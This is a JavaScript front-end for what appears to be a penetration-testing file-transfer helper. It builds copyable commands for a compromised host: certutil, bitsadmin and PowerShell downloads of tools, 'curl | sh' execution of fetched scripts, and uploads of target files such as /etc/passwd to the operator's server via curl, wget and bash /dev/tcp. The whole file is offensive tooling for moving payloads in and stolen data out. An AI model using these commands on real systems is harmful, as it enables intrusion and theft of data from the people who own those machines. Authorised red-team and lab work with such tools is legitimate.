let currentMode = 'exfil';
let currentOS = 'linux';
let currentInterface = null;
let availableInterfaces = [];
let toolsData = [];

fetch('/api/interfaces')
    .then(r => r.json())
    .then(data => {
        availableInterfaces = data.interfaces;
        const select = document.getElementById('interfaceSelect');
        select.innerHTML = '';
        
        availableInterfaces.forEach((iface, idx) => {
            const option = document.createElement('option');
            option.value = idx;
            option.textContent = `${iface.name} - ${iface.ip}`;
            select.appendChild(option);
        });
        
        const savedIdx = localStorage.getItem('selectedInterface');
        if (savedIdx !== null && parseInt(savedIdx) < availableInterfaces.length) {
            select.value = savedIdx;
            currentInterface = availableInterfaces[parseInt(savedIdx)];
        } else if (availableInterfaces.length > 0) {
            currentInterface = availableInterfaces[0];
        }
        
        const savedOS = localStorage.getItem('selectedOS');
        if (savedOS) switchOS(savedOS);
        
        updateExfilCommands();
    });

function switchMode(mode) {
    currentMode = mode;
    document.getElementById('btnExfil').classList.toggle('active', mode === 'exfil');
    document.getElementById('btnInfil').classList.toggle('active', mode === 'infil');
    document.getElementById('btnRelay').classList.toggle('active', mode === 'relay'); // Nouveau

    document.getElementById('exfilSection').classList.toggle('hidden', mode !== 'exfil');
    document.getElementById('infilSection').classList.toggle('hidden', mode !== 'infil');
    document.getElementById('relaySection').classList.toggle('hidden', mode !== 'relay'); // Nouveau
    
    if (mode === 'infil') setTimeout(() => document.getElementById('targetFile').focus(), 100);
    
    if (mode === 'relay' && toolsData.length === 0) {
        fetchTools();
    } else if (mode === 'relay') {
        renderTools();
    }
}

function switchOS(os) {
    currentOS = os;
    localStorage.setItem('selectedOS', os);
    
    document.getElementById('btnLinux').classList.toggle('active', os === 'linux');
    document.getElementById('btnWindows').classList.toggle('active', os === 'windows');
    document.getElementById('osDisplay').textContent = os.toUpperCase();
    
    document.querySelectorAll('.cmd-row').forEach(row => {
        const rowOS = row.getAttribute('data-os');
        if (rowOS === os) {
            row.classList.remove('hidden');
        } else {
            row.classList.add('hidden');
        }
    });
    
    if (currentMode === 'infil' && document.getElementById('uploadCommands').innerHTML !== '') {
        generateUploadCommands();
    }
}

function updateInterface() {
    const idx = parseInt(document.getElementById('interfaceSelect').value);
    if (idx >= 0 && idx < availableInterfaces.length) {
        currentInterface = availableInterfaces[idx];
        localStorage.setItem('selectedInterface', idx);
        updateExfilCommands();
        if (currentMode === 'infil') generateUploadCommands();
    }
}

function updateExfilCommands() {
    if (!currentInterface) return;
    const baseUrl = `http://${currentInterface.ip}:${window.location.port || '8000'}`;
    
    document.querySelectorAll('.exfil-cmd').forEach(codeEl => {
        const fileName = codeEl.getAttribute('data-file');
        const cmdType = codeEl.getAttribute('data-type');
        let cmd = '';
        
        if (cmdType === 'CURL') {
            cmd = `curl -LO ${baseUrl}/${fileName}`;
        } else if (cmdType === 'WGET') {
            cmd = `wget ${baseUrl}/${fileName}`;
        } else if (cmdType === 'PYTHON3') {
            cmd = `python3 -c "import requests; r = requests.get('${baseUrl}/${fileName}'); open('${fileName}', 'wb').write(r.content)"`;
        } else if (cmdType === 'PERL') {
            cmd = `perl -MLWP::Simple -e "getstore('${baseUrl}/${fileName}', '${fileName}')"`;
        } else if (cmdType === 'BUSYBOX') {
            cmd = `busybox wget ${baseUrl}/${fileName} -O ${fileName}`;
        } else if (cmdType === 'POWERSHELL') {
            cmd = `powershell -c "Invoke-WebRequest -UseBasicParsing -Uri '${baseUrl}/${fileName}' -OutFile '${fileName}'"`;
        } else if (cmdType === 'POWERSHELL_NET') {
            cmd = `powershell -c "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('${baseUrl}/${fileName}', '${fileName}')"`;
        } else if (cmdType === 'CERTUTIL') {
            cmd = `certutil -urlcache -f ${baseUrl}/${fileName} ${fileName}`;
        } else if (cmdType === 'BITSADMIN') {
            cmd = `bitsadmin /transfer myJob /download /priority normal ${baseUrl}/${fileName} ${fileName}`;
        }
        
        codeEl.textContent = cmd;
    });
}

function copyExfilCmd(btn) {
    const codeEl = btn.nextElementSibling.querySelector('code');
    copy(btn, codeEl.textContent);
}

function generateUploadCommands() {
    const fileName = document.getElementById('targetFile').value.trim() || (currentOS === 'linux' ? '/etc/passwd' : 'C:\\Windows\\System32\\drivers\\etc\\hosts');
    const host = currentInterface ? currentInterface.ip : window.location.hostname;
    const port = window.location.port || '8000';
    const url = `http://${host}:${port}/upload`;
    
    let commandsHtml = '';
    
    if (currentOS === 'linux') {
        const cmds = [
            { name: 'CURL', cmd: `curl -X POST -F 'file=@${fileName}' ${url}` },
            { name: 'WGET', cmd: `wget --post-file=${fileName} ${url}?filename=$(basename ${fileName})` },
            { name: 'PYTHON 3', cmd: `python3 -c "import requests; requests.post('${url}', files={'file': open('${fileName}', 'rb')})"` },
            { name: 'BASH TCP', cmd: `cat ${fileName} > /dev/tcp/${host}/${port}` }
        ];
        commandsHtml = buildCommandList(cmds);
    } else {
        const cmds = [
            { name: 'POWERSHELL', cmd: `powershell -c "Invoke-RestMethod -Uri ${url} -Method Post -InFile '${fileName}'"` },
            { name: 'CURL (WIN)', cmd: `curl.exe -X POST -F "file=@${fileName}" ${url}` },
        ];
        commandsHtml = buildCommandList(cmds);
    }
    
    document.getElementById('uploadCommands').innerHTML = commandsHtml;
    document.getElementById('uploadCommands').style.display = 'block';
}

function buildCommandList(cmds) {
    return cmds.map(c => `
        <div class="cmd-line">
            <button class="copy-btn" onclick="copy(this, this.nextElementSibling.innerText)">${c.name}</button>
            <div class="code-block"><code>${c.cmd}</code></div>
        </div>
    `).join('');
}

function copy(btn, text) {
    navigator.clipboard.writeText(text).then(() => {
        const originalText = btn.innerText;
        btn.innerText = "COPIED!";
        btn.classList.add('copied');
        setTimeout(() => {
            btn.innerText = originalText;
            btn.classList.remove('copied');
        }, 1000);
    });
}

document.addEventListener('DOMContentLoaded', () => {
    const targetFileInput = document.getElementById('targetFile');
    if (targetFileInput) {
        targetFileInput.addEventListener('keypress', e => {
            if (e.key === 'Enter') generateUploadCommands();
        });
    }

    const allDetails = document.querySelectorAll('details');
    allDetails.forEach(detailsEl => {
        detailsEl.addEventListener('toggle', () => {
            if (!detailsEl.open) return;
            allDetails.forEach(other => {
                if (other !== detailsEl && other.open) {
                    other.removeAttribute('open');
                }
            });
        });
    });
});

function fetchTools() {
    fetch('/templates/tools.json')
        .then(r => r.json())
        .then(data => {
            toolsData = data.tools;
            renderTools();
        })
        .catch(err => console.error("Could not load tools:", err));
}

function renderTools() {
    const list = document.getElementById('toolsList');
    const filter = document.getElementById('toolSearch').value.toLowerCase();
    list.innerHTML = '';

    const host = currentInterface ? currentInterface.ip : window.location.hostname;
    const port = window.location.port || '8000';
    const baseUrl = `http://${host}:${port}`;

    toolsData.forEach(tool => {
        if (tool.os !== currentOS && currentOS !== 'all') return;
        if (!tool.name.toLowerCase().includes(filter) && !tool.description.toLowerCase().includes(filter)) return;

        const proxyUrl = `${baseUrl}/proxy/${tool.url}`;
        
        let cmd = '';
        if (tool.os === 'linux') {
            if (tool.filename.endsWith('.sh')) {
                cmd = `curl -sL ${proxyUrl} | sh`;
            } else {
                cmd = `curl -L ${proxyUrl} -o ${tool.filename} && chmod +x ${tool.filename}`;
            }
        } else {
            cmd = `iwr -useb ${proxyUrl} -OutFile ${tool.filename}`;
        }

        const card = document.createElement('div');
        card.className = 'tool-card';
        card.innerHTML = `
            <div class="tool-header">
                <strong>${tool.name}</strong>
                <span class="tool-tag">${tool.filename}</span>
            </div>
            <p class="tool-desc">${tool.description}</p>
            <div class="cmd-line small-cmd">
                <button class="copy-btn" onclick="copy(this, this.nextElementSibling.innerText)">COPY</button>
                <div class="code-block"><code>${cmd}</code></div>
            </div>
        `;
        list.appendChild(card);
    });
}

function filterTools() {
    renderTools();
}

const originalUpdateInterface = updateInterface;
updateInterface = function() {
    originalUpdateInterface(); // Appel l'ancienne logique
    if (currentMode === 'relay') renderTools();
}

// MODIFIE: switchOS pour re-rendre les outils si l'OS change
const originalSwitchOS = switchOS;
switchOS = function(os) {
    originalSwitchOS(os);
    if (currentMode === 'relay') renderTools();
}